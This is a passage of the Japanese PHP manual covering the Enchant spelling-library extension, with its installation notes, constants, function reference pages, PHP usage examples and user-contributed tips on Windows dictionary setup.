"旧" データと "新" データの差分を含むバイナリ diff 文字列、 あるいは内部エラーが発生した場合は false を返します。

参考

  • xdiff_string_bpatch() - 文字列にバイナリ diff 形式のパッチを適用する

User Contributed Notes

There are no user contributed notes for this page.


自然言語および文字エンコーディング

  • Enchant — Enchant スペリングライブラリ
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • Enchant 関数
    • EnchantBroker — EnchantBroker クラス
    • EnchantDictionary — EnchantDictionary クラス
  • Gender — 名前の性別の判別
    • はじめに
    • インストール/設定
    • 例
    • Gender\Gender — Gender\Gender クラス
  • Gettext
    • はじめに
    • インストール/設定
    • 定義済み定数
    • Gettext 関数
  • iconv
    • はじめに
    • インストール/設定
    • 定義済み定数
    • iconv 関数
  • intl — 国際化関数
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • Collator — Collator クラス
    • NumberFormatter — NumberFormatter クラス
    • Locale — Locale クラス
    • Normalizer — Normalizer クラス
    • MessageFormatter — MessageFormatter クラス
    • IntlCalendar — IntlCalendar クラス
    • IntlGregorianCalendar — The IntlGregorianCalendar class
    • IntlTimeZone — IntlTimeZone クラス
    • IntlDateFormatter — IntlDateFormatter クラス
    • ResourceBundle — ResourceBundle クラス
    • Spoofchecker — The Spoofchecker class
    • Transliterator — Transliterator クラス
    • IntlBreakIterator — The IntlBreakIterator class
    • IntlRuleBasedBreakIterator — The IntlRuleBasedBreakIterator class
    • IntlCodePointBreakIterator — The IntlCodePointBreakIterator class
    • IntlPartsIterator — The IntlPartsIterator class
    • UConverter — UConverter クラス
    • Grapheme 関数
    • IDN 関数
    • IntlChar
    • IntlException — intl のエラー用の例外クラス
    • IntlIterator — The IntlIterator class
    • 国際化 関数
  • マルチバイト文字列
    • はじめに
    • インストール/設定
    • 定義済み定数
    • サポートされるエンコーディングの概要
    • 日本語のマルチバイト文字に関する基本事項
    • HTTP 入出力
    • サポートされる文字エンコーディング
    • 関数のオーバーロード機能
    • PHP の文字エンコーディングに関する要件
    • マルチバイト文字列 関数
  • Pspell
    • はじめに
    • インストール/設定
    • 定義済み定数
    • Pspell 関数
  • Recode — GNU Recode
    • はじめに
    • インストール/設定
    • 定義済み定数
    • Recode 関数

User Contributed Notes

There are no user contributed notes for this page.


Enchant スペリングライブラリ

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
  • Enchant 関数
    • enchant_broker_describe — Enchant プロバイダを列挙する
    • enchant_broker_dict_exists — 辞書が存在するかどうかを調べる。空でないタグを使用する
    • enchant_broker_free_dict — 辞書リソースを開放する
    • enchant_broker_free — ブローカーリソースおよびその辞書を開放する
    • enchant_broker_get_dict_path — 指定されたバックエンドの辞書のパスを取得する
    • enchant_broker_get_error — ブローカーの直近のエラーを返す
    • enchant_broker_init — 要求を満たすブローカーオブジェクトを作成する
    • enchant_broker_list_dicts — 使用可能な辞書の一覧を返す
    • enchant_broker_request_dict — タグを使用して新しい辞書を作成する
    • enchant_broker_request_pwl_dict — PWL ファイルを使用して辞書を作成する
    • enchant_broker_set_dict_path — 指定されたバックエンドの辞書のパスを設定する
    • enchant_broker_set_ordering — その言語で使用する辞書の優先順位を宣言する
    • enchant_dict_add_to_personal — のエイリアス enchant_dict_add
    • enchant_dict_add_to_session — '単語' を、このスペルチェックセッションに追加する
    • enchant_dict_add — 単語リストに単語を追加する
    • enchant_dict_check — 単語のスペルが正しいかどうかを調べる
    • enchant_dict_describe — 個々の辞書について説明する
    • enchant_dict_get_error — 現在のスペリングセッションの直近のエラーを返す
    • enchant_dict_is_added — 現在のセッションに、単語が存在するかどうかを調べる
    • enchant_dict_is_in_session — のエイリアス enchant_dict_is_added
    • enchant_dict_quick_check — 単語のスペルが正しいかどうかを調べ、修正候補を提供する
    • enchant_dict_store_replacement — 単語の修正候補を追加する
    • enchant_dict_suggest — 修正候補となる値の一覧を返す
  • EnchantBroker — EnchantBroker クラス
  • EnchantDictionary — EnchantDictionary クラス

User Contributed Notes

pavel dot bazika at icewarp dot com 17-Jun-2013 12:34
As of PHP 5.4.13 and 5.3.23 it is still possible to override default enchant brokers directory using Windows registry key HKLM/Software/Enchant/Config/Module_Dir or Linux environment variable ENCHANT_CONFIG_DIR.
wschalle at gmail dot com 25-Apr-2013 08:40
As of PHP 5.4.13 and 5.3.23, enchant now requires the broker plugins (libenchant_ispell.dll, libenchant_myspell.dll) to be placed in the <PHP_DIR>/lib/enchant directory. If they are not in that directory, they will silently fail to load, and calls to enchant_broker_describe will return an empty array.


はじめに

Enchant は、» Enchant ライブラリ を PHP から利用できるようにしたものです。Enchant は、 すべてのスペリングライブラリの上位に位置するもので、 統一された操作性を提供します。 また、各ライブラリが搭載していないかもしれない機能についても実装しています。 すべての機能が "動作します"。 いろんな意味で、あらゆる意味で "動作しています"。

Enchant は以下のバックエンドをサポートしています。

  • Aspell/Pspell (Ispell の後継です)

  • Ispell (昔からあり、デファクトスタンダードとされています)

  • MySpell/Hunspell (OOo プロジェクトや Mozilla が使用しています)

  • Uspell (イディッシュ語、ヘブライ語および東欧諸国語用のもので、AbiWord の CVS 内で "uspell" モジュールとしてホストされています)

  • Hspell (ヘブライ語)

  • AppleSpell (Mac OSX)

User Contributed Notes

There are no user contributed notes for this page.


要件

このバージョンは、Dom Lachowicz による » Enchant ライブラリ の関数を使用しています。 Enchant 1.2.4 以降が必要です。 Enchant 2.0.0 以降は、PHP 8.0.0 以降でのみサポートされています。

Enchant には » Glib 2.6 以降も必要です。 Windows 用のコンパイル済みのライブラリは » http://ftp.gnome.org/pub/gnome/binaries/win32/glib/ にあります。

User Contributed Notes

taubers at gmail dot com 29-Jan-2013 05:46
If you are using macport you may not have this installed. This can be rectified with: sudo port install php5-iconv


インストール手順

この拡張モジュールは、PHP 5.3.0 以降に同梱されています。 それより前のバージョンでは、enchant は PECL 拡張モジュールでした。 5.3.0 より前のバージョンのユーザーは » PECL 拡張モジュール を使いましょう。

必須ライブラリ がインストールされていれば、PHP 5.3.0 以降のユーザーは PHP のコンパイル時に --with-enchant[=dir] オプションを追加するだけで enchant を有効にできます。

User Contributed Notes

There are no user contributed notes for this page.


リソース型

PHP 8.0.0 より前のバージョンでは、 この拡張モジュールでは二種類のリソースを使用しています。ひとつは ブローカー (バックエンドマネージャ) で、もうひとつが辞書です。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

LIBENCHANT_VERSION (string)
libenchant のバージョン。 PHP 8.0.0 以降で利用可能です。
ENCHANT_MYSPELL (int)
MySpell 用の辞書の型。 enchant_broker_get_dict_path() や enchant_broker_set_dict_path() で利用します。 PHP 8.0.0 以降では推奨されません。
ENCHANT_ISPELL (int)
Ispell 用の辞書の型。 enchant_broker_get_dict_path() や enchant_broker_set_dict_path() で利用します。 PHP 8.0.0 以降では推奨されません。

User Contributed Notes

There are no user contributed notes for this page.


例

例1 Enchant の使用例

<?php
$tag = 'en_US';
$r = enchant_broker_init();
$bprovides = enchant_broker_describe($r);
echo "現在のブローカーは、次のバックエンドを提供します。\n";
print_r($bprovides);

$dicts = enchant_broker_list_dicts($r);
print_r($dicts);
if (enchant_broker_dict_exists($r,$tag)) {
    $d = enchant_broker_request_dict($r, $tag);
    $dprovides = enchant_dict_describe($d);
    echo "dictionary $tag provides:\n";
    $wordcorrect = enchant_dict_check($d, "soong");
    print_r($dprovides);
    if (!$wordcorrect) {
        $suggs = enchant_dict_suggest($d, "soong");
        echo "'soong' の修正候補:";
        print_r($suggs);
    }
    enchant_broker_free_dict($d);
} else {
}
enchant_broker_free($r);
?>

User Contributed Notes

ch1902 15-Aug-2013 09:58
One thing to add to robert.johnson's very helpful post, I found that the dictionary files (*.dic and *.aff) could only contain A-Z and _ characters or they wouldn't be listed in the output of enchant_broker_list_dicts() (at least for PHP 5.4 / Windows).

This was an issue when downloading some of the dictionary files from https://addons.mozilla.org/firefox/language-tools/ where the file names contained hyphens, pt-BR for example. Just replace the hyphen with an underscore in the file name and enchant recognises the language code.
robert dot johnson at icap dot com 14-Aug-2013 04:21
To repeat a note by  wschalle at gmail dot com on page http://www.php.net/manual/en/book.enchant.php

The enchant library does not work unless libenchant_myspell.dll and libenchant_ispell.dll are placed in [PHP]\lib\enchant from PHP 5.4.13.

Dictionaries will still load from [PHP]\share\myspell\dicts.
robert dot johnson at icap dot com 03-Sep-2012 12:49
Here is help for Windows users:

You need to add dictionaries to your computer for Enchant.

1. Enchant looks in your registry keys, I don't know what keys it wants, but it looks here - I ignored all of these:
  * Default User\Software\Enchant\Config
  * Default User\Software\Enchant\Ispell
  * Default User\Software\Enchant\Myspell
2. It looks for OpenOffice dictionaries (from the registry settings for OpenOffice)
3. It looks in folder [PHP]\share\myspell\dicts

I got it working by copying the en-us dictionary files from Firefox into \share\myspell\dicts, and renaming them en_US.*.  You can download and install dictionaries from OpenOffice from here I think: http://extensions.services.openoffice.org/dictionary

Enchant creates and writes to the following folder, so you must allow PHP read and write permissions to: [SYSTEM32]\config\systemprofile\Application Data\enchant

It would be convenient if Enchant could accept parameters to specify the location of the main dictionaries and user-dictionaries, I suppose the registry keys are the only way to do it.


Enchant 関数

目次

  • enchant_broker_describe — Enchant プロバイダを列挙する
  • enchant_broker_dict_exists — 辞書が存在するかどうかを調べる。空でないタグを使用する
  • enchant_broker_free_dict — 辞書リソースを開放する
  • enchant_broker_free — ブローカーリソースおよびその辞書を開放する
  • enchant_broker_get_dict_path — 指定されたバックエンドの辞書のパスを取得する
  • enchant_broker_get_error — ブローカーの直近のエラーを返す
  • enchant_broker_init — 要求を満たすブローカーオブジェクトを作成する
  • enchant_broker_list_dicts — 使用可能な辞書の一覧を返す
  • enchant_broker_request_dict — タグを使用して新しい辞書を作成する
  • enchant_broker_request_pwl_dict — PWL ファイルを使用して辞書を作成する
  • enchant_broker_set_dict_path — 指定されたバックエンドの辞書のパスを設定する
  • enchant_broker_set_ordering — その言語で使用する辞書の優先順位を宣言する
  • enchant_dict_add_to_personal — のエイリアス enchant_dict_add
  • enchant_dict_add_to_session — '単語' を、このスペルチェックセッションに追加する
  • enchant_dict_add — 単語リストに単語を追加する
  • enchant_dict_check — 単語のスペルが正しいかどうかを調べる
  • enchant_dict_describe — 個々の辞書について説明する
  • enchant_dict_get_error — 現在のスペリングセッションの直近のエラーを返す
  • enchant_dict_is_added — 現在のセッションに、単語が存在するかどうかを調べる
  • enchant_dict_is_in_session — のエイリアス enchant_dict_is_added
  • enchant_dict_quick_check — 単語のスペルが正しいかどうかを調べ、修正候補を提供する
  • enchant_dict_store_replacement — 単語の修正候補を追加する
  • enchant_dict_suggest — 修正候補となる値の一覧を返す

User Contributed Notes

There are no user contributed notes for this page.


Enchant プロバイダを列挙する

  • ≪ Enchant 関数
  • enchant_broker_dict_exists ≫
  • PHP Manual
  • Enchant 関数
  • Enchant プロバイダを列挙する

enchant_broker_describe

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0)

enchant_broker_describe — Enchant プロバイダを列挙する

説明

enchant_broker_describe ( EnchantBroker $broker ) : array

Enchant プロバイダを列挙し、その基本情報を通知します。 同じ情報が phpinfo() からでも取得できます。

パラメータ

broker

enchant_broker_init() によって返される Enchant ブローカー。

返り値

利用可能な Enchant プロバイダの一覧と、その詳細を array として返します。

変更履歴

バージョン | 説明
8.0.0 | broker は、EnchantBroker クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、リソース が期待されていました。
8.0.0 | このバージョンより前では、この関数は失敗時に false を返していました。

例

例1 指定したブローカーが提供するバックエンドの一覧

<?php
$r = enchant_broker_init();
$bprovides = enchant_broker_describe($r);
echo "現在のブローカーは、次のバックエンドを提供します。\n";
print_r($bprovides);

?>

上の例の出力は、 たとえば以下のようになります。

現在のブローカーは、次のバックエンドを提供します。
Array
(
    [0] => Array
        (
            [name] => aspell
            [desc] => Aspell Provider
            [file] => /usr/lib/enchant/libenchant_aspell.so
        )

    [1] => Array
        (
            [name] => hspell
            [desc] => Hspell Provider
            [file] => /usr/lib/enchant/libenchant_hspell.so
        )

    [2] => Array
        (
            [name] => ispell
            [desc] => Ispell Provider
            [file] => /usr/lib/enchant/libenchant_ispell.so
        )

    [3] => Array
        (
            [name] => myspell
            [desc] => Myspell Provider
            [file] => /usr/lib/enchant/libenchant_myspell.so
        )

)

User Contributed Notes

There are no user contributed notes for this page.


辞書が存在するかどうかを調べる。空でないタグを使用する

  • ≪ enchant_broker_describe
  • enchant_broker_free_dict ≫
  • PHP Manual
  • Enchant 関数
  • 辞書が存在するかどうかを調べる。空でないタグを使用する

enchant_broker_dict_exists

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_broker_dict_exists — 辞書が存在するかどうかを調べる。空でないタグを使用する

説明

enchant_broker_dict_exists ( EnchantBroker $broker , string $tag ) : bool

辞書が存在するかどうかを調べます。空でないタグを使用します。

パラメータ

broker

enchant_broker_init() によって返される Enchant ブローカー。

tag

空でない、LOCALE 形式のタグ。例: us_US、ch_DE など。

返り値

タグが存在する場合に true、存在しない場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | broker は、EnchantBroker クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、リソース が期待されていました。

例

例1 enchant_broker_dict_exists() の例

<?php
$tag = 'en_US';
$r = enchant_broker_init();
if (enchant_broker_dict_exists($r,$tag)) {
    echo $tag . " の辞書が見つかりました。\n";
}
?>

参考

  • enchant_broker_describe() - Enchant プロバイダを列挙する

User Contributed Notes

There are no user contributed notes for this page.


辞書リソースを開放する

  • ≪ enchant_broker_dict_exists
  • enchant_broker_free ≫
  • PHP Manual
  • Enchant 関数
  • 辞書リソースを開放する

enchant_broker_free_dict

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_broker_free_dict — 辞書リソースを開放する

警告

この関数は PHP 8.0.0 で 非推奨になります。この関数に頼らないことを強く推奨します。

説明

enchant_broker_free_dict ( EnchantDictionary $dictionary ) : bool

辞書を開放します。 PHP 8.0.0 以降では、この関数を呼び出す代わりに、オブジェクト自体を unset することを推奨します。

パラメータ

dictionary

enchant_broker_request_dict() または enchant_broker_request_pwl_dict() によって返される Enchant 辞書。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | dictionary は、EnchantDictionary クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、リソース が期待されていました。

参考

  • enchant_broker_request_dict() - タグを使用して新しい辞書を作成する
  • enchant_broker_request_pwl_dict() - PWL ファイルを使用して辞書を作成する

User Contributed Notes

There are no user contributed notes for this page.


ブローカーリソースおよびその辞書を開放する

  • ≪ enchant_broker_free_dict
  • enchant_broker_get_dict_path ≫
  • PHP Manual
  • Enchant 関数
  • ブローカーリソースおよびその辞書を開放する

enchant_broker_free

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_broker_free — ブローカーリソースおよびその辞書を開放する

警告

この関数は PHP 8.0.0 で 非推奨になります。この関数に頼らないことを強く推奨します。

説明

enchant_broker_free ( EnchantBroker $broker ) : bool

ブローカーをその辞書とともに開放します。 PHP 8.0.0 以降では、この関数を呼び出さず、オブジェクト自体を unset することを推奨します。

パラメータ

broker

enchant_broker_init() によって返される Enchant ブローカー。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | broker は、EnchantBroker クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、リソース が期待されていました。

参考

  • enchant_broker_init() - 要求を満たすブローカーオブジェクトを作成する

User Contributed Notes

There are no user contributed notes for this page.


指定されたバックエンドの辞書のパスを取得する

  • ≪ enchant_broker_free
  • enchant_broker_get_error ≫
  • PHP Manual
  • Enchant 関数
  • 指定されたバックエンドの辞書のパスを取得する

enchant_broker_get_dict_path

(PHP 5 >= 5.3.1, PHP 7, PHP 8, PECL enchant >= 1.0.1)

enchant_broker_get_dict_path — 指定されたバックエンドの辞書のパスを取得する

警告

この関数は PHP 8.0.0 で 非推奨になります。この関数に頼らないことを強く推奨します。

説明

enchant_broker_get_dict_path ( EnchantBroker $broker , int $type ) : string|false

指定されたバックエンドの辞書のパスを取得します。

パラメータ

broker

enchant_broker_init() によって返される Enchant ブローカー。

type

辞書のタイプ。たとえば、ENCHANT_MYSPELL または ENCHANT_ISPELL。

返り値

成功した場合、辞書のディレクトリパスを返します。 失敗した場合に false を返します

変更履歴

バージョン | 説明
8.0.0 | broker は、EnchantBroker クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、リソース が期待されていました。

注意

注意:

この関数は、拡張機能が Enchant v1 を使ってコンパイルされた場合にのみ利用可能です。

参考

  • enchant_broker_set_dict_path() - 指定されたバックエンドの辞書のパスを設定する

User Contributed Notes

There are no user contributed notes for this page.


ブローカーの直近のエラーを返す

  • ≪ enchant_broker_get_dict_path
  • enchant_broker_init ≫
  • PHP Manual
  • Enchant 関数
  • ブローカーの直近のエラーを返す

enchant_broker_get_error

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_broker_get_error — ブローカーの直近のエラーを返す

説明

enchant_broker_get_error ( EnchantBroker $broker ) : string|false

このブローカーで発生した直近のエラーを返します。

パラメータ

broker

enchant_broker_init() によって返される Enchant ブローカー。

返り値

エラーが見つかった場合にメッセージ文字列、それ以外の場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | broker は、EnchantBroker クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、リソース が期待されていました。

User Contributed Notes

There are no user contributed notes for this page.


要求を満たすブローカーオブジェクトを作成する

  • ≪ enchant_broker_get_error
  • enchant_broker_list_dicts ≫
  • PHP Manual
  • Enchant 関数
  • 要求を満たすブローカーオブジェクトを作成する

enchant_broker_init

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_broker_init — 要求を満たすブローカーオブジェクトを作成する

説明

enchant_broker_init ( ) : EnchantBroker|false

パラメータ

返り値

成功した場合にブローカーリソース、それ以外の場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | 成功時に、この関数は EnchantBroker のインスタンスを返すようになりました。 これより前のバージョンでは、リソース が返されていました。

参考

  • enchant_broker_free() - ブローカーリソースおよびその辞書を開放する

User Contributed Notes

There are no user contributed notes for this page.


使用可能な辞書の一覧を返す

  • ≪ enchant_broker_init
  • enchant_broker_request_dict ≫
  • PHP Manual
  • Enchant 関数
  • 使用可能な辞書の一覧を返す

enchant_broker_list_dicts

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 1.0.1)

enchant_broker_list_dicts — 使用可能な辞書の一覧を返す

説明

enchant_broker_list_dicts ( EnchantBroker $broker ) : array

使用可能な辞書の一覧と、その詳細を返します。

パラメータ

broker

enchant_broker_init() によって返される Enchant ブローカー。

返り値

使用可能な辞書の一覧と、その詳細を array として返します。

変更履歴

バージョン | 説明
8.0.0 | broker は、EnchantBroker クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、リソース が期待されていました。
8.0.0 | このバージョンより前では、この関数は失敗時に false を返していました。

例

例1 あるブローカーで使用可能なすべての辞書を表示する

<?php
$r = enchant_broker_init();
$dicts = enchant_broker_list_dicts($r);
print_r($dicts);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => Array
        (
            [lang_tag] => de
            [provider_name] => aspell
            [provider_desc] => Aspell Provider
            [provider_file] => /usr/lib/enchant/libenchant_aspell.so
        )

    [1] => Array
        (
            [lang_tag] => de_DE
            [provider_name] => aspell
            [provider_desc] => Aspell Provider
            [provider_file] => /usr/lib/enchant/libenchant_aspell.so
        )

    [3] => Array
        (
            [lang_tag] => en
            [provider_name] => aspell
            [provider_desc] => Aspell Provider
            [provider_file] => /usr/lib/enchant/libenchant_aspell.so
        )

    [4] => Array
        (
            [lang_tag] => en_GB
            [provider_name] => aspell
            [provider_desc] => Aspell Provider
            [provider_file] => /usr/lib/enchant/libenchant_aspell.so
        )

    [5] => Array
        (
            [lang_tag] => en_US
            [provider_name] => aspell
            [provider_desc] => Aspell Provider
            [provider_file] => /usr/lib/enchant/libenchant_aspell.so
        )

    [6] => Array
        (
            [lang_tag] => hi_IN
            [provider_name] => myspell
            [provider_desc] => Myspell Provider
            [provider_file] => /usr/lib/enchant/libenchant_myspell.so
        )

)

参考

  • enchant_broker_describe() - Enchant プロバイダを列挙する

User Contributed Notes

There are no user contributed notes for this page.


タグを使用して新しい辞書を作成する

  • ≪ enchant_broker_list_dicts
  • enchant_broker_request_pwl_dict ≫
  • PHP Manual
  • Enchant 関数
  • タグを使用して新しい辞書を作成する

enchant_broker_request_dict

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_broker_request_dict — タグを使用して新しい辞書を作成する

説明

enchant_broker_request_dict ( EnchantBroker $broker , string $tag ) : EnchantDictionary|false

タグを使用して新しい辞書を作成します。空でない言語タグで、 使用したい辞書を指定します ("en_US"、"de_DE"、...)。

パラメータ

broker

enchant_broker_init() によって返される Enchant ブローカー。

tag

ロケールを表すタグ。例えば en_US、de_DE など。

返り値

成功した場合に辞書リソース、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | broker は、EnchantBroker クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、リソース が期待されていました。
8.0.0 | 成功時に、この関数は EnchantDictionary のインスタンスを返すようになりました。 これより前のバージョンでは、リソース が返されていました。

例

例1 enchant_broker_request_dict() の例

辞書が存在するかどうかを enchant_broker_dict_exists() で調べ、それを要求します。

<?php
$tag = 'en_US';
$broker = enchant_broker_init();
if (enchant_broker_dict_exists($broker,$tag)) {
    $dict = enchant_broker_request_dict($r, $tag);
}
?>

参考

  • enchant_dict_describe() - 個々の辞書について説明する
  • enchant_broker_dict_exists() - 辞書が存在するかどうかを調べる。空でないタグを使用する
  • enchant_broker_free_dict() - 辞書リソースを開放する

User Contributed Notes

There are no user contributed notes for this page.


PWL ファイルを使用して辞書を作成する

  • ≪ enchant_broker_request_dict
  • enchant_broker_set_dict_path ≫
  • PHP Manual
  • Enchant 関数
  • PWL ファイルを使用して辞書を作成する

enchant_broker_request_pwl_dict

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_broker_request_pwl_dict — PWL ファイルを使用して辞書を作成する

説明

enchant_broker_request_pwl_dict ( EnchantBroker $broker , string $filename ) : EnchantDictionary|false

PWL ファイルを使用して辞書を作成します。 PWL ファイルは、一行にひとつの単語を記述したパーソナル単語ファイルです。

パラメータ

broker

enchant_broker_init() によって返される Enchant ブローカー。

filename

PWL ファイルへのパス。 ファイルが存在しない場合は、可能であれば新しいファイルを作ります。

返り値

成功した場合に辞書リソース、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | broker は、EnchantBroker クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、リソース が期待されていました。
8.0.0 | 成功時に、この関数は EnchantDictionary のインスタンスを返すようになりました。 これより前のバージョンでは、リソース が返されていました。

参考

  • enchant_dict_describe() - 個々の辞書について説明する
  • enchant_broker_dict_exists() - 辞書が存在するかどうかを調べる。空でないタグを使用する
  • enchant_broker_free_dict() - 辞書リソースを開放する

User Contributed Notes

There are no user contributed notes for this page.


指定されたバックエンドの辞書のパスを設定する

  • ≪ enchant_broker_request_pwl_dict
  • enchant_broker_set_ordering ≫
  • PHP Manual
  • Enchant 関数
  • 指定されたバックエンドの辞書のパスを設定する

enchant_broker_set_dict_path

(PHP 5 >= 5.3.1, PHP 7, PHP 8, PECL enchant >= 1.0.1)

enchant_broker_set_dict_path — 指定されたバックエンドの辞書のパスを設定する

警告

この関数は PHP 8.0.0 で 非推奨になります。この関数に頼らないことを強く推奨します。

説明

enchant_broker_set_dict_path ( EnchantBroker $broker , int $type , string $path ) : bool

指定されたバックエンドの辞書のパスを設定します。

パラメータ

broker

enchant_broker_init() によって返される Enchant ブローカー。

type

辞書のタイプ。たとえば、ENCHANT_MYSPELL または ENCHANT_ISPELL。

path

辞書のディレクトリパス。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | broker は、EnchantBroker クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、リソース が期待されていました。

注意

注意:

この関数は、拡張機能が Enchant v1 を使ってコンパイルされた場合にのみ利用可能です。

参考

  • enchant_broker_get_dict_path() - 指定されたバックエンドの辞書のパスを取得する

User Contributed Notes

There are no user contributed notes for this page.


その言語で使用する辞書の優先順位を宣言する

  • ≪ enchant_broker_set_dict_path
  • enchant_dict_add_to_personal ≫
  • PHP Manual
  • Enchant 関数
  • その言語で使用する辞書の優先順位を宣言する

enchant_broker_set_ordering

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_broker_set_ordering — その言語で使用する辞書の優先順位を宣言する

説明

enchant_broker_set_ordering ( EnchantBroker $broker , string $tag , string $ordering ) : bool

'タグ' で表される言語で使用する辞書の優先順位を宣言します。 順位は、プロバイダ名をカンマ区切りでつないだリストで表します。 例外として、言語タグに "*" を使用すると、あらゆる言語についての デフォルトの順位を宣言します。 明示的に順位を指定しなかった言語についてはこれが使用されます。

パラメータ

broker

enchant_broker_init() によって返される Enchant ブローカー。

tag

言語タグ。"*" を使用すると、あらゆる言語についての デフォルトの順位を宣言します。 明示的に順位を指定しなかった言語についてはこれが使用されます。

ordering

プロバイダ名をカンマ区切りでつないだリスト。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | broker は、EnchantBroker クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、リソース が期待されていました。

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス enchant_dict_add

  • ≪ enchant_broker_set_ordering
  • enchant_dict_add_to_session ≫
  • PHP Manual
  • Enchant 関数
  • のエイリアス enchant_dict_add

enchant_dict_add_to_personal

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_dict_add_to_personal — のエイリアス enchant_dict_add()

警告

このエイリアスは PHP 8.0.0 で 非推奨 になりました。

説明

この関数は次の関数のエイリアスです。 enchant_dict_add().

User Contributed Notes

There are no user contributed notes for this page.


'単語' を、このスペルチェックセッションに追加する

  • ≪ enchant_dict_add_to_personal
  • enchant_dict_add ≫
  • PHP Manual
  • Enchant 関数
  • '単語' を、このスペルチェックセッションに追加する

enchant_dict_add_to_session

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_dict_add_to_session — '単語' を、このスペルチェックセッションに追加する

説明

enchant_dict_add_to_session ( EnchantDictionary $dictionary , string $word ) : void

指定した辞書に単語を追加します。 追加されるのは、アクティブなスペルチェックセッションについてのみです。

パラメータ

dictionary

enchant_broker_request_dict() または enchant_broker_request_pwl_dict() によって返される Enchant 辞書。

word

追加する単語。

返り値

値を返しません。

変更履歴

バージョン | 説明
8.0.0 | dictionary は、EnchantDictionary クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、リソース が期待されていました。

参考

  • enchant_broker_request_dict() - タグを使用して新しい辞書を作成する

User Contributed Notes

There are no user contributed notes for this page.


単語リストに単語を追加する

  • ≪ enchant_dict_add_to_session
  • enchant_dict_check ≫
  • PHP Manual
  • Enchant 関数
  • 単語リストに単語を追加する

enchant_dict_add

(PHP 8)

enchant_dict_add — 単語リストに単語を追加する

説明

enchant_dict_add ( EnchantDictionary $dictionary , string $word ) : void

指定した辞書の単語リストに単語を追加します。

パラメータ

dictionary

enchant_broker_request_dict() または enchant_broker_request_pwl_dict() によって返される Enchant 辞書。

word

追加する単語。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | dictionary は、EnchantDictionary クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、リソース が期待されていました。

例1 辞書リストに単語を追加する

<?php

$filename = './my_word_list.pwl';
$word = 'Supercalifragilisticexpialidocious';

$broker = enchant_broker_init();
$dict = enchant_broker_request_pwl_dict($broker, $filename);

enchant_dict_add($dict, $word);

enchant_broker_free($broker);

?>

参考

  • enchant_broker_request_pwl_dict() - PWL ファイルを使用して辞書を作成する
  • enchant_broker_request_dict() - タグを使用して新しい辞書を作成する

User Contributed Notes

There are no user contributed notes for this page.


単語のスペルが正しいかどうかを調べる

  • ≪ enchant_dict_add
  • enchant_dict_describe ≫
  • PHP Manual
  • Enchant 関数
  • 単語のスペルが正しいかどうかを調べる

enchant_dict_check

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_dict_check — 単語のスペルが正しいかどうかを調べる

説明

enchant_dict_check ( EnchantDictionary $dictionary , string $word ) : bool

単語のスペルが正しい場合に true、 そうでない場合に false を返します。

パラメータ

dictionary

enchant_broker_request_dict() または enchant_broker_request_pwl_dict() によって返される Enchant 辞書。

word

調べる単語。

返り値

単語のスペルが正しい場合に true、 そうでない場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | dictionary は、EnchantDictionary クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、リソース が期待されていました。

User Contributed Notes

There are no user contributed notes for this page.


個々の辞書について説明する

  • ≪ enchant_dict_check
  • enchant_dict_get_error ≫
  • PHP Manual
  • Enchant 関数
  • 個々の辞書について説明する

enchant_dict_describe

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_dict_describe — 個々の辞書について説明する

説明

enchant_dict_describe ( EnchantDictionary $dictionary ) : array

辞書の詳細を返します。

パラメータ

dictionary

enchant_broker_request_dict() または enchant_broker_request_pwl_dict() によって返される Enchant 辞書。

返り値

